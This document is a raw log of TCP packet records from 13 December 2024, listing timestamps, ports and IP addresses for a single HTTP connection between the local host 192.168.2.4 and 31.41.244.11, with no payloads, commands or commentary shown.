Dec 13, 2024 01:51:12.285624027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.285669088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.285670042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.285715103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.286622047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.286669016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.286730051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.286775112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.287566900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.287615061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.287703991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.287748098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.288543940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.288592100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.288661957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.288708925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.289514065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.289566040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.289628983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.289669991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.290508986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.290579081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.290617943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.290668964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.291491032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.291547060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.291611910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.291659117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.292450905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.292504072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.292571068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.292619944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.293438911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.293495893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.293519020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.293566942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.294414043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.294466972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.294517040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.294578075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.295396090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.295450926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.295488119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.295535088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.296339035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.296396971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.296464920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.296514988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.297316074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.297370911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.297410965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.297466993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.298289061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.298342943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.298382998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.298433065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.299283028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.299356937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.299393892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.299462080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.300236940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.300292015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.300350904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.300400972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.301214933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.301271915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.301310062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.301359892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.302206039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.302261114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.302325010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.302372932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.303307056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.303373098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.303394079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.303447008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.304251909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.304305077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.304306030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.304356098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.305228949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.305289030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.305298090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.305344105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.306099892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.306154013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.306215048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.306263924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.307085991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.307142019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.307197094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.307246923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.308070898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.308126926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.308145046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.308195114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.309014082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.309072971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.309112072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.309164047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.309978962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.310031891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.310105085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.310154915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.310956001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.311009884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.311101913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.311197996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.311964989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.312017918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.312086105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.312136889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.312921047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.312973976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.313024044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.313076973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.313906908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.313958883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.314062119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.314116001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.314863920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.314918995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.314955950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.315011024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.315840960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.315891027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.315944910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.315988064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.316800117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.316850901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.316896915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.316942930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.317764044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.317811012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.459532976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.459588051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.459625006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.459758997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.459758997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.459759951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.460051060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.460247040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.460781097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.460983038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.461000919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.461086035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.461173058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.461950064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.462016106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.462075949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.462136984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.462898970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.462979078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.463027000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.463087082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.463871956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.463932037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.463999987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.464056969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.464867115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.464925051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.464996099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.465054035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.465848923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.465910912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.465965033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.466022015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.466799974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.466856956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.466955900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.467027903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.467751026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.467809916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.467884064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.467936993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.468728065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.468779087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.468846083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.468889952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.469721079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.469796896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.469885111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.469935894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.470695019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.470750093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.470786095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.470834970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.471632957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.471684933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.471729040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.471781015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.472625017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.472677946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.472718954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.472769022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.473560095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.473612070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.473689079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.473740101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.474581003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.474637032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.474674940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.474728107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.475541115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.475600004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.475640059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.475691080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.476502895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.476556063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.476699114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.476751089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.477477074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.477587938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.477632999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.477632999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.478475094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.478534937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.478578091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.478631973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.479432106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.479504108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.479542017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.479593992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.480422974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.480495930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.480510950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.480566978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.481376886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.481434107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.481472969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.481525898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.482358932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.482410908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.482454062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.482506990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.483323097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.483374119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.483416080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.483469963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.484380007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.484432936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.484472990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.484524012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.485332012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.485388994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.485459089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.485506058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.486269951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.486321926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.486398935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.486449003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.487261057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.487337112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.487366915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.487411022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.488221884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.488281012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.488296986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.488346100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.489171028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.489223957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.489264011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.489312887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.490169048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.490220070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.490295887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.490346909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.491138935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.491210938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.491245985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.491296053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.492096901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.492149115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.492212057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.492263079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.493077993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.493133068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.493166924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.493225098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.494055986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.494102955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.494193077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.494242907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.495075941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.495126009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.495130062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.495179892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.496005058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.496064901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.496103048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.496153116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.496963024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.497023106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.497061968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.497112036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.497950077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.498002052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.498066902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.498116970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.498919010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.498972893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.499027014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.499084949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.499891996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.499942064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.500004053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.500050068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.500866890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.500912905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.500969887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.501014948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.501838923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.501903057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.501955986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.502007961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.502829075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.502873898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.502989054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.503036022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.503794909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.503846884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.503907919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.503957033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.504765987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.504821062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.504887104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.504935026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.505750895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.505799055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.505856991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.505903006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.506712914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.506763935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.506825924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.506881952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.507682085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.507745981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.507785082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.507833958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.508670092 CET	80	49765	31.41.244.11	192.168.2.4
